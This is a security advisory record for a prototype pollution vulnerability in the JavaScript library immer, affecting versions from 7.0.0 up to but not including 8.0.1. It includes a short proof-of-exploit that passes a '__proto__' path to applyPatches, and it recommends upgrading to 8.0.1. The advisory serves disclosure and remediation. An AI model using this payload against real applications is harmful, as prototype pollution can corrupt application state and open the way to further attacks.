Lucene search

K
osvGoogleOSV:GHSA-9QMH-276G-X5PJ
HistoryJan 20, 2021 - 9:27 p.m.

Prototype Pollution in immer

2021-01-2021:27:56
Google
osv.dev
13

0.002 Low

EPSS

Percentile

54.3%

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

CPENameOperatorVersion
immerlt8.0.1
immerge7.0.0